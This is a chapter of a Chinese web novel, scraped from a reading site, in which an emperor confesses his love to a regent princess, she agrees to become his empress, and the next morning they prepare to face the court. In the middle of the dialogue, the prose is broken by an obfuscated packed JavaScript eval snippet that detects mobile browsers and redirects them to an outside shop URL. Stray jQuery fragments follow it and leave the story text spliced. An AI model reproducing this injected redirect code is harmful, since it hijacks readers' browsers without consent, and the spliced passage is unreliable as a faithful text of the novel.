默认冷灰
24号文字
方正启体

106. 墨书情字三千行(6)

作者:繁星昭月本书字数:K更新时间:
    年昭月看着他,泪流满面。


    她当然愿意。


    这两个字在舌尖转了千百回,可每次要出口时,都被心头的巨石压了回去。


    她怕。


    怕朝堂上的非议,怕那些“摄政公主嫁皇帝,牝鸡司晨”的流言。怕自己心里那道永远解不开的羁绊,会成为他们之间永远的隔阂。怕自己配不上这份深情,怕自己终究会负了他。


    “陛下,”她哽咽道,“我……”


    话卡在喉咙里,怎么也说不出来。


    宗暻渊看着她,看着她眼中的挣扎和恐惧,看着她欲言又止的唇。


    他没有催促,没有逼迫。


    他只是轻轻握住她的手,将她的手贴在自己心口。


    掌心之下,心跳如鼓。


    “昭月,”他开口,声音很轻,轻得像从很深很深的地方传来,“你听朕说。”


    年昭月看着他。


    烛火在他脸上投下明暗交错的影,那双素来深邃如渊的眼眸里,此刻翻涌着她从未见过的波澜。


    “朕第一次见你,是在冷宫外的落尘院。”他说,“那时朕是人人避之不及的落魄皇子,你是侯府不受宠的庶女。你站在朕面前,竟然讨要朕的庇护。”


    他唇角弯起极淡的弧度:“朕那时想,这女子好大的胆子。可朕也记住了你的眼睛。那双眼睛里,有光。”


    年昭月忍不住笑了,笑着笑着,眼眶湿润了。


    他唇角弯起温柔的弧度,“后来朕才知道,你不止胆子大,还聪明,还倔强,还……”


    他顿了顿,声音更轻:


    “还让朕,再也移不开眼。”


    年昭月的眼泪滚落下来。


    宗暻渊伸手,轻轻擦去她的泪。


    “朕看着你,从侯府庶女,一步步走到朝堂之上。看着你在南苑春狩时临危不乱,看着你在砺锋阁苦练刀法,看着你在玉门关走了一遭,竟轻松干掉了宸王,看着你在宫变中浴血救驾。”


    他顿了顿,声音更低:


    “朕看着你,从一个需要庇护的女子,长成了能与朕并肩天下的摄政公主。”


    “你是朕见过的最好的女子。不是因为你有多聪明,多能干,而是因为……”他一字一句,“你心里有光。”


    年昭月心头一颤。


    他一字一句,“朕这些年,看着你笑,看着你哭,看着你为百姓忧心,看着你为朝政操劳。看着你在朕面前,永远挺直脊梁,永远清明如星。”


    他握紧她的手,将她的手贴在自己心口。


    “不知何时,朕就在想,这辈子,就是你了。”


    他握紧她的手,一字一句:


    “可朕不敢说。你是摄政公主,是朕并肩同行的臣子。朕怕说出来,你会逃。怕说出来,这好不容易建立的一切,会毁于一旦。”


    “所以朕等。等你主动走近朕,等你愿意回头看朕,等你……心里有朕。”


    年昭月的眼泪无声地流,浸湿了他的衣襟。


    “你在淮安遇险,朕疯了一样去找你。你在太洲中毒,朕恨不得插翅飞去。你守着鹤南玄的那些日夜,朕在紫宸殿一夜夜睡不着……”


    “不是嫉妒,是怕。怕你为难,怕你愧疚,怕你把自己困在那道羁绊里出不来。”


    他伸手,轻轻擦去她的泪:


    “朕想过去苍梧把你抢回来,想过去和鹤南玄争个你死我活。可朕没有。你知道为什么吗?”


    年昭月摇头。


    宗暻渊看着她,眼眸里满是温柔:


    “因为朕要的,不是一个被困在朕身边的你。朕要的,是一个心甘情愿走向朕的你。朕可以等。等你还清他的恩,等你解开那道结,等你……想明白自己要什么。”


    他顿了顿,声音低得像叹息:


    “昭月,朕等了这些年。不差这最后一刻。”


    年昭月哭得说不出话。


    “所以你不要怕。”他继续说,一字一句,“怕朝堂?朕替你挡。怕天下人非议?朕替你扛。怕心里那道羁绊?朕不介意。朕只要你……”


    他看着她,眼中是她从未见过的深情和坚定:


    “只要你是年昭月。只要你还愿意回头,朕就永远站在原地。”


    他俯身,与她额头相抵:


    “年昭月,朕爱你。爱了很久很久了。”


    年昭月浑身颤抖。眼泪,像断了线的珠子,一颗一颗滚落。


    她看着这个男人,看着这个从皇子走到御座的男人,看着这个明明拥有一切、却只想要她的男人。


    她忽然想起很多年前,他们初遇时的模样。


    那时他是朝不保夕的皇子,她是侯府里人人可欺的庶女。那时是交易,是算计,是各取所需。


    可后来啊,他为了她挡过毒酒,她为了他在朝堂厮杀。他们一起走过宫变,一起平定叛乱,一起在雨夜拥抱。


    这一路,他们早就分不清是谁欠谁、是谁帮谁。


    就像两棵树,根缠在一起,枝交在一起。要砍倒一棵,另一棵也活不成。


    年昭月看着他,看着这个从不说爱、却把爱刻进每一个行动里的男人。


    她看着他近在咫尺的眼眸,看着那双眼睛里毫不掩饰的爱意和等待。


    那些恐惧、那些挣扎、那些愧疚,在这一刻忽然都不重要了。


    她只想告诉他。


    她愿意。


    她什么都愿意。


    可话到嘴边,却变成了一声哽咽。


    她伸手,捧住他的脸。


    然后,她吻了上去。


    是一个带着所有眼泪、所有委屈、所有等待、所有深情的吻。


    她吻得那样用力,仿佛要把这些年的思念都倾注进去。她吻得那样急切,仿佛再晚一刻,他就会消失不见。


    宗暻渊怔了一瞬,随即收紧手臂,将她紧紧拥入怀中。


    不知过了多久,久到窗外的云移了三寸,久到殿内的烛火跳了三跳。


    久到两人都有些喘不过气,她才缓缓松开他。


    额头相抵,呼吸交缠。


    她看着他,看着他那双因情动而格外幽深的眼眸,看着他微微泛红的眼眶,看着他眼角那抹来不及藏起的湿意。


    她轻轻笑了。


    笑着笑着,眼泪又落了下来。


    她伸手,用指尖擦去他眼角的泪痕,那是他为她流下的、从不示人的眼泪。


    “陛下……”她哽咽道。


    “嗯?”


    “我……”


    她深吸一口气,用尽全身的力气,一字一句:


    “我愿意。”


    宗暻渊怔住了。


    他看着她,看着她含泪带笑的眼睛,看着她终于冲破所有心防的坚定。


    然后,他笑了。那份欢喜,从眼角眉梢溢出来,怎么也藏不住。


    “昭月,”他低声道,“再说一遍。”


    年昭月看着他,看着这个像孩子一样求她再说一遍的男人。


    她笑了,泪中带笑:


    “我愿意。我愿意做你的皇后。”


    她顿了顿,一字一句:


    “愿意用余生,来爱你。”


    他的身体在微微颤抖。那是极致的欢喜,也是极致的后怕。


    后怕她差一点就拒绝了,后怕他们差一点就错过了。


    他伸手,将她拥入怀中,紧紧的,像拥住这世间最珍贵的宝物。


    “昭月,”他低声道,声音沙哑得不像话,“谢谢你。”


    年昭月在他怀中,轻轻笑了。


    她抬头,看着他的眼睛:


    “陛下,不是你该谢我。是我该谢你。”


    “谢朕什么?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238173|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她顿了顿,声音更轻:


    “谢谢你,让我知道,这世上还有这样好的爱。”


    宗暻渊看着她,看着她眼中的泪光和坚定。


    然后,他俯身,在她额间落下一吻。


    轻轻的,柔柔的,像这一生最虔诚的誓言。


    “昭月,”他低声道,“从今往后,朕不会让你后悔。”


    年昭月靠在他怀里,轻轻“嗯”了一声。


    窗外,月光如水。


    紫宸殿的烛火,燃得正亮。


    这一夜,他们相拥而坐,说了一夜的话。


    说过去,说未来,说那些从未说出口的心意。


    直到天边泛起鱼肚白,年昭月才在他怀里沉沉睡去。


    宗暻渊看着她安静的睡颜,看着她微微颤动的睫毛,看着她唇角那抹若有若无的笑意。


    他轻轻笑了。


    “昭月,”他低声道,“从今往后,你是朕的皇后。唯一的皇后。”


    ————


    年昭月醒来时,天已大亮。


    她睁开眼,第一眼看见的,是头顶陌生的殿顶。怔了一瞬,才想起,这是紫宸殿的偏殿,她昨夜没有回府。


    身边的位置已经空了,被褥还留着余温。她撑起身子,环顾四周,没有看见那道熟悉的身影。


    殿门轻轻推开。


    宗暻渊端着托盘走进来,上面放着一碗热粥、几碟小菜,还有一壶热茶。


    他依旧穿着昨日的玄色常服,发丝却重新束得整整齐齐,显然是已经去处理过朝务了。


    见她醒了,他唇角弯起极淡的弧度:“醒了?”


    年昭月看着他,看着这个端着托盘走进来的男人,一时有些恍惚。


    一国之君的他,此刻,亲自端着早膳,走进来给她。


    “陛下……”她轻声道。


    宗暻渊将托盘放在矮案上,在榻边坐下。他伸手,轻轻拂过她散落的发丝,目光柔软得像春日的湖水。


    “睡得可好?”


    年昭月点头,又摇头:“你什么时候起的?”


    “卯时。”他说,“去处理了些事。”


    年昭月心头一紧:“朝堂上又闹了?”


    宗暻渊笑了,笑容里有一丝成竹在胸的笃定:“让他们闹。正好……”


    他顿了顿,看着她:


    “朕今日,要让所有人都知道,谁是朕的皇后。”


    ————


    年昭月从未在紫宸殿更衣梳妆过。


    宫人们鱼贯而入,捧着她的朝服、配饰、发冠。那是摄政公主的朝服,她穿过无数次。可今日穿在身上,却觉得格外不同。


    宗暻渊没有去前殿。他就坐在窗边的椅中,看着她梳妆。


    铜镜里,她能看见他的目光。那目光一直追随着她,从她挽发,到她上妆,到她系上腰带,戴上公主冠。


    “看什么?”她忍不住问。


    宗暻渊笑了:“看朕的皇后。”


    年昭月脸一红,别过脸去。


    宫人们低着头,眼观鼻鼻观心,大气也不敢出。可年昭月分明看见,有几个年轻的宫女唇角偷偷弯起,那是憋不住的笑意。


    她瞪了宗暻渊一眼。


    宗暻渊笑意更深。


    梳妆完毕,宫人们退下。偏殿内只剩下他们两人。


    年昭月站在铜镜前,看着镜中的自己。朝服庄重,发冠巍峨,眉目间却有一丝藏不住的紧张。


    宗暻渊走到她身后,双手轻轻搭在她肩上。


    他看着镜中的她,目光温柔得像融化的春水。


    宗暻渊俯身,在她耳边低声道:“别怕。有朕在。”


    简简单单五个字,却让她的心奇迹般地安定下来。


    她看着镜中并肩而立的两人,忽然笑了。


    “走吧。”她说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)